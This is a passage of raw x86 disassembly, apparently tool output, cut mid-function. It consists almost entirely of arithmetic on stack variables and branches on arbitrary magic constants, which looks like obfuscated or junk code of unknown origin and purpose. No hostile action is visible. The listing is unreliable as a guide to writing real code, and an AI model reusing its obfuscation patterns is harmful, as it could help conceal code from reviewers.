movsx eax, word [edx]
movsx ecx, word [ebp - 0x120c]
sub eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4f50]
sub eax, 0xd5
mov dword [ebp - 0x4f50], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fb4]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4ff0]
or eax, dword [edx]
mov ecx, dword [ebp - 0x4fa0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17d]
movzx ecx, byte [ebp - 0x17f]
sar edx, cl
mov eax, dword [ebp - 0x4fdc]
mov byte [eax], dl
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4fe8]
shl edx, cl
mov dword [0x5a9b64], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
xor edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x4fb4]
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x501c]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fb4]
sub edx, dword [ecx]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4fe8]
and eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [0x5a9b60]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x17a]
add eax, ecx
mov byte [ebp - 0x140], al
movsx edx, word [ebp - 0x1208]
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x12f8], dx
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17b]
sub eax, ecx
mov byte [ebp - 0x17d], al
movsx edx, byte [ebp - 0x17e]
movsx eax, byte [0x5a8004]
sub edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [edx]
add eax, dword [ebp - 0x4ff0]
mov dword [ebp - 0x4f60], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x4fe8], eax
movzx ecx, word [ebp - 0x12fc]
movzx edx, word [ebp - 0x1308]
xor ecx, edx
mov word [ebp - 0x1300], cx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17d]
or ecx, edx
mov byte [ebp - 0x17f], cl
mov eax, dword [ebp - 0x4fb0]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4f60]
shl edx, cl
mov eax, dword [ebp - 0x4fa0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f7c]
and ecx, dword [ebp - 0x4fe8]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [eax]
mov dword [ebp - 0x4fe8], ecx
mov edx, dword [ebp - 0x4fb0]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17a]
sub edx, eax
mov byte [0x5a8004], dl
movzx ecx, word [ebp - 0x1304]
movzx edx, word [ebp - 0x1308]
sub ecx, edx
mov word [ebp - 0x12fc], cx
cmp dword [ebp - 0x4f50], 0x244
jae 0x423abc
mov eax, dword [0x5a9b60]
mov cl, byte [eax]
mov byte [ebp - 0x502c], cl
cmp byte [ebp - 0x502c], 0x12
je 0x423ea2
jmp 0x423ec1
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17b], al
jmp 0x580d1a
mov al, byte [ebp - 0x17f]
mov byte [ebp - 0x5030], al
cmp byte [ebp - 0x5030], 0
je 0x423ee8
cmp byte [ebp - 0x5030], 0x7e
je 0x424010
jmp 0x42407f
lea ecx, [ebp - 0x12fc]
mov dword [ebp - 0x5034], ecx
mov edx, dword [ebp - 0x4ff0]
mov dword [ebp - 0x5038], edx
cmp dword [ebp - 0x5038], 0
je 0x423f0e
jmp 0x423ff6
mov eax, dword [ebp - 0x5034]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x1308]
sar edx, cl
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x12fc]
shl eax, cl
cmp edx, eax
je 0x423fba
mov ecx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x503c], ecx
cmp dword [ebp - 0x503c], 0x34fa066
je 0x423f74
cmp dword [ebp - 0x503c], 0x4dec8bf3
je 0x423f5e
jmp 0x423f8a
mov edx, dword [ebp - 0x4ff0]
and edx, dword [ebp - 0x4f60]
mov eax, dword [ebp - 0x501c]
mov dword [eax], edx
jmp 0x423f8a
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [ebp - 0x17a]
add ecx, edx
mov byte [0x5a8004], cl
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x4fb4], eax
jmp 0x423ff4
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x12fc]
or edx, eax
movzx ecx, word [ebp - 0x1308]
movzx eax, word [ebp - 0x1300]
xor ecx, eax
cmp edx, ecx
jle 0x423ff4
mov ecx, dword [ebp - 0x4f7c]
sub ecx, dword [ebp - 0x4fe8]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
jmp 0x42400e
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17d]
sub ecx, edx
mov byte [ebp - 0x17b], cl
jmp 0x42407f
movsx eax, byte [0x5a8004]
movsx ecx, byte [ebp - 0x140]
and eax, ecx
mov edx, dword [0x5a9b60]
movsx ecx, byte [edx]
movsx edx, byte [ebp - 0x17c]
sub ecx, edx
cmp eax, ecx
jge 0x424064
mov eax, dword [ebp - 0x4f60]
push eax
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x4f60]
push eax
mov dl, byte [ebp - 0x17b]
mov ecx, dword [ebp - 0x4fa0]
mov ecx, dword [ecx]
call fcn.00581810
nop
jmp 0x42407f
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1304]
or eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
cmp dword [ebp - 0x4f68], 0x56d1
ja 0x4243a1
mov eax, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4ff0]
mov ecx, dword [eax]
shl edx, cl
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fd4]
mov edx, dword [eax]
mov ecx, dword [0x5a9b64]
sar edx, cl
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x4fe8]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fcc]
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17e]
add ecx, edx
mov byte [0x5a8004], cl
movzx eax, byte [ebp - 0x17b]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17f], al
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4fb4]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x120c]
sub ecx, edx
mov word [ebp - 0x12f8], cx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [ebp - 0x4ff0]
sub ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fb4]
add eax, dword [edx]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x17b]
movzx eax, byte [ebp - 0x17f]
and edx, eax
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
movzx edx, word [ebp - 0x12f4]
movzx eax, word [ebp - 0x1304]
sub edx, eax
mov word [ebp - 0x12fc], dx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4f7c]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4f68]
add ecx, 0x75
mov dword [ebp - 0x4f68], ecx
movsx edx, byte [ebp - 0x17e]
movsx ecx, byte [ebp - 0x17c]
sar edx, cl
mov byte [0x5a8004], dl
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [eax]
xor ecx, dword [0x5a9b64]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x4fb4], edx
mov eax, dword [ebp - 0x4fdc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17f]
sub ecx, edx
mov byte [ebp - 0x17d], cl
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1300]
and ecx, edx
mov word [ebp - 0x1308], cx
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [eax]
add edx, dword [ecx]
mov dword [ebp - 0x4f60], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fb4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fb4]
add edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x140]
sub eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x140]
add ecx, edx
mov byte [ebp - 0x17a], cl
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x120c]
sub ecx, edx
mov word [ebp - 0x12f8], cx
movzx eax, word [ebp - 0x1300]
movzx ecx, word [ebp - 0x1308]
and eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [ebp - 0x4fdc]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x17d]
sar edx, cl
mov byte [ebp - 0x17b], dl
mov eax, dword [ebp - 0x501c]
mov ecx, dword [ebp - 0x4ff0]
or ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
mov edx, dword [ebp - 0x501c]
mov eax, dword [ebp - 0x4ff0]
xor eax, dword [edx]
mov dword [ebp - 0x4f60], eax
movzx edx, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x12fc]
shl edx, cl
mov word [ebp - 0x1308], dx
movzx eax, byte [ebp - 0x17f]
movzx ecx, byte [ebp - 0x17b]
sub eax, ecx
mov byte [ebp - 0x17d], al
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4fe8]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x501c]
mov edx, dword [ebp - 0x4f60]
and edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x4f7c], edx
jmp 0x42407f
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [ebp - 0x4fb4]
sub ecx, dword [eax]
mov dword [ebp - 0x4f7c], ecx
cmp dword [ebp - 0x4ff8], 0xd027
jbe 0x4246fe
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x12f4]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x17b]
add ecx, edx
mov byte [ebp - 0x17f], cl
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x501c]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fcc]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x4f7c], eax
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [0x5a8004]
add ecx, edx
mov byte [ebp - 0x17a], cl
movsx eax, byte [ebp - 0x140]
movsx ecx, byte [ebp - 0x17c]
add eax, ecx
mov edx, dword [0x5a9b60]
mov byte [edx], al
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12fc]
xor ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
movzx ecx, byte [ebp - 0x17d]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
or ecx, eax
mov byte [ebp - 0x17f], cl
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x4f60]
mov ecx, dword [ecx]
shr edx, cl
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fe4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x4fe8]
shl edx, cl
mov dword [ebp - 0x4f7c], edx
mov eax, dword [ebp - 0x4fe8]
and eax, dword [ebp - 0x4f7c]
mov ecx, dword [ebp - 0x4fe4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x4fd4]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x17f]
and eax, ecx
mov byte [ebp - 0x17b], al
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
sub eax, dword [ebp - 0x4f7c]
mov dword [0x5a9b64], eax
mov ecx, dword [0x5a9b64]
sub ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4fb4], ecx
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ebp - 0x4f60]
add eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ecx]
add eax, dword [edx]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4ff8]
sub eax, 0x78
mov dword [ebp - 0x4ff8], eax
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1308]
xor edx, eax
mov ecx, dword [ebp - 0x5034]
mov word [ecx], dx
movzx edx, byte [ebp - 0x17b]
movzx ecx, byte [ebp - 0x17f]
sar edx, cl
mov byte [ebp - 0x17d], dl
movsx eax, word [ebp - 0x1208]
movsx ecx, word [ebp - 0x120c]
or eax, ecx
mov edx, dword [ebp - 0x5010]
mov word [edx], ax
movsx eax, byte [ebp - 0x17e]
movsx ecx, byte [ebp - 0x17c]
shl eax, cl
mov byte [ebp - 0x140], al
movsx ecx, byte [ebp - 0x140]
movsx edx, byte [ebp - 0x17c]
and ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x17b], cl
movzx ecx, word [ebp - 0x1308]
movzx edx, word [ebp - 0x12f4]
sub ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4fa0]
mov edx, dword [ebp - 0x4f60]
sub edx, dword [ecx]
mov dword [ebp - 0x4ff0], edx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4f7c], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4fc0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fa0]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x17b], cl
mov ecx, dword [ebp - 0x4f7c]
add ecx, dword [ebp - 0x4fb4]
mov dword [0x5a9b64], ecx
mov edx, dword [ebp - 0x4fb4]
xor edx, dword [ebp - 0x4f7c]
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4f7c]
or eax, dword [ebp - 0x4fe8]
mov dword [ebp - 0x4fb4], eax
mov ecx, dword [ebp - 0x4fcc]
mov edx, dword [ebp - 0x4fa0]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x4f60], eax
jmp 0x4243b5
movzx ecx, word [ebp - 0x12f4]
mov dword [ebp - 0x5040], ecx
cmp dword [ebp - 0x5040], 0
je 0x424729
cmp dword [ebp - 0x5040], 0x744
je 0x424815
jmp 0x42482b
mov dl, byte [ebp - 0x17d]
mov byte [ebp - 0x5044], dl
cmp byte [ebp - 0x5044], 0x32
je 0x424743
jmp 0x424813
movsx eax, word [ebp - 0x1208]
mov dword [ebp - 0x5048], eax
cmp dword [ebp - 0x5048], 0x1697
je 0x424771
cmp dword [ebp - 0x5048], 0x3179
je 0x4247ff
jmp 0x424813
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f7c]
sar edx, cl
mov dword [ebp - 0x4fe8], edx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4f7c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x12f8]
add ecx, edx
mov word [ebp - 0x120c], cx
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17e]
add ecx, edx
mov byte [ebp - 0x17a], cl
movzx eax, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x12fc]
add eax, ecx
mov edx, dword [ebp - 0x5034]
mov word [edx], ax
mov eax, dword [0x5a9b60]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x17e]
sub ecx, edx
mov byte [0x5a8004], cl
jmp 0x424813
mov eax, dword [ebp - 0x501c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x4f60]
mov dword [ebp - 0x4ff0], ecx
jmp 0x42482b
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [edx]
and eax, dword [0x5a9b64]
mov ecx, dword [ebp - 0x4fc0]
mov dword [ecx], eax
cmp dword [ebp - 0x4fd0], 0x43e2
jbe 0x424a52
mov edx, dword [ebp - 0x5024]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x17b], al
mov eax, dword [ebp - 0x5034]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x12f4]
sub ecx, edx
mov eax, dword [ebp - 0x5034]
mov word [eax], cx
mov ecx, dword [ebp - 0x4f60]
sub ecx, dword [ebp - 0x4ff0]
mov edx, dword [ebp - 0x4fa0]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fe4]
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f7c]
sar edx, cl
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fb0]
mov edx, dword [ebp - 0x501c]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x4ff0], eax
movsx ecx, byte [ebp - 0x17c]
movsx edx, byte [ebp - 0x17a]
xor ecx, edx
mov eax, dword [0x5a9b60]
mov byte [eax], cl
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x17f]
and edx, eax
mov ecx, dword [ebp - 0x4fdc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x4fe4]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4f7c]
sub eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [0x5a9b60]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17e]
sub edx, eax
mov byte [ebp - 0x140], dl
mov ecx, dword [ebp - 0x5010]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x1208]
add edx, eax
mov ecx, dword [ebp - 0x5010]
mov word [ecx], dx
mov edx, dword [ebp - 0x5034]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x12fc]
add eax, ecx
mov word [ebp - 0x12f4], ax
movzx edx, byte [ebp - 0x17f]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17d], dl
mov edx, dword [ebp - 0x4fd0]
sub edx, 0xca
mov dword [ebp - 0x4fd0], edx
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x4f60]
mov edx, dword [ebp - 0x4fcc]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fe8]
sub eax, dword [ebp - 0x4fb4]
mov dword [0x5a9b64], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f7c]
sar edx, cl
mov eax, dword [ebp - 0x4fc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x4fe8], eax
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x4f7c]
shl edx, cl
mov dword [ebp - 0x4fe8], edx
movzx eax, word [ebp - 0x12f4]
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
or eax, edx
mov word [ebp - 0x12fc], ax
movzx eax, byte [ebp - 0x17b]
movzx ecx, byte [ebp - 0x17f]
sub eax, ecx
mov edx, dword [ebp - 0x5024]
mov byte [edx], al
mov eax, dword [ebp - 0x4fb0]
mov ecx, dword [ebp - 0x4ff0]
and ecx, dword [eax]
mov dword [ebp - 0x4f60], ecx
jmp 0x42482b
mov edx, dword [ebp - 0x5010]
movsx eax, word [edx]
mov dword [ebp - 0x504c], eax
cmp dword [ebp - 0x504c], 0
je 0x424a7f
cmp dword [ebp - 0x504c], 0x1e42
je 0x580c53
jmp 0x580ccc
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x5050], ecx
mov dl, byte [ebp - 0x17a]
mov byte [ebp - 0x5054], dl
cmp byte [ebp - 0x5054], 0xde
je 0x424aa2
jmp 0x424b14
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
mov dword [ebp - 0x5058], ecx
cmp dword [ebp - 0x5058], 0x264d
je 0x424acb
cmp dword [ebp - 0x5058], 0x7760
je 0x424ae1
jmp 0x424b0f
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [ebp - 0x4ff0]
or eax, dword [edx]
mov dword [ebp - 0x4f60], eax
jmp 0x424b0f
mov ecx, dword [ebp - 0x4fd4]
mov edx, dword [ebp - 0x4f7c]
mov ecx, dword [ecx]
sar edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x17b]
movzx edx, byte [ebp - 0x17f]
xor ecx, edx
mov byte [ebp - 0x17d], cl
jmp 0x424b9d
mov eax, dword [ebp - 0x4fb4]
mov dword [ebp - 0x505c], eax
cmp dword [ebp - 0x505c], 0x1b2264d0
je 0x424b3a
cmp dword [ebp - 0x505c], 0x2fcb3734
je 0x424b56
jmp 0x424b9d
mov ecx, dword [ebp - 0x5034]
movzx edx, word [ecx]
push edx
movzx eax, byte [ebp - 0x17b]
push eax
call fcn.00581f00
add esp, 8
jmp 0x424b9d
movzx edx, word [ebp - 0x1304]
movzx ecx, word [ebp - 0x1300]
shl edx, cl
mov word [ebp - 0x12fc], dx
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [eax]
add edx, dword [ecx]
mov eax, dword [ebp - 0x4fd4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x5050]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x17e]
sub edx, eax
mov byte [0x5a8004], dl
mov ecx, dword [ebp - 0x4fe8]
mov dword [ebp - 0x5060], ecx
mov edx, dword [ebp - 0x4fd4]
mov eax, dword [ebp - 0x4fc0]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x4fd4]
mov dword [edx], ecx
movzx eax, word [ebp - 0x1308]
movzx ecx, word [ebp - 0x12fc]
sub eax, ecx
mov word [ebp - 0x12f4], ax
mov edx, dword [ebp - 0x4fc0]
mov eax, dword [ebp - 0x4fd4]
mov ecx, dword [edx]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [ebp - 0x4f7c]
add eax, dword [edx]
cmp ecx, eax
jle 0x424cf7
mov ecx, dword [ebp - 0x4fdc]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x5024]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp - 0x17f], dl
mov edx, dword [ebp - 0x4fdc]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x5024]
movzx edx, byte [ecx]
sub eax, edx
movzx ecx, byte [ebp - 0x17d]
movzx edx, byte [ebp - 0x17f]
add ecx, edx
cmp eax, ecx
jne 0x424cb9
mov eax, dword [ebp - 0x5010]
movsx ecx, word [eax]
mov dword [ebp - 0x5064], ecx
cmp dword [ebp - 0x5064], 0x7ba5
je 0x424c5d
jmp 0x424c75
mov edx, dword [ebp - 0x4fcc]
mov eax, dword [edx]
or eax, dword [ebp - 0x4f60]
mov ecx, dword [ebp - 0x501c]
mov dword [ecx], eax
jmp 0x424ca3
mov edx, dword [ebp - 0x4fe4]
mov eax, dword [edx]
mov ecx, dword [0x5a9b64]
sar eax, cl
mov dword [ebp - 0x5060], eax
mov ecx, dword [ebp - 0x4fc0]
mov edx, dword [ebp - 0x4fb4]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x4fe4]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fe4]
mov edx, dword [ecx]
xor edx, dword [ebp - 0x4fb4]
mov dword [ebp - 0x5060], edx
jmp 0x424cf7
movsx eax, byte [ebp - 0x17a]
movsx ecx, byte [ebp - 0x17e]
sub eax, ecx
movsx edx, byte [ebp - 0x140]
mov ecx, dword [ebp - 0x5050]
movsx ecx, byte [ecx]
sub edx, ecx
cmp eax, edx
jne 0x424cf7
movsx edx, byte [ebp - 0x17a]
movsx eax, byte [ebp - 0x17e]
and edx, eax
mov ecx, dword [0x5a9b60]
mov byte [ecx], dl
lea edx, [ebp - 0x17a]
mov dword [ebp - 0x5068], edx
mov ax, word [ebp - 0x1208]
mov word [ebp - 0x130c], ax
mov dword [ebp - 0x506c], 0x9381
movsx ecx, word [ebp - 0x120c]
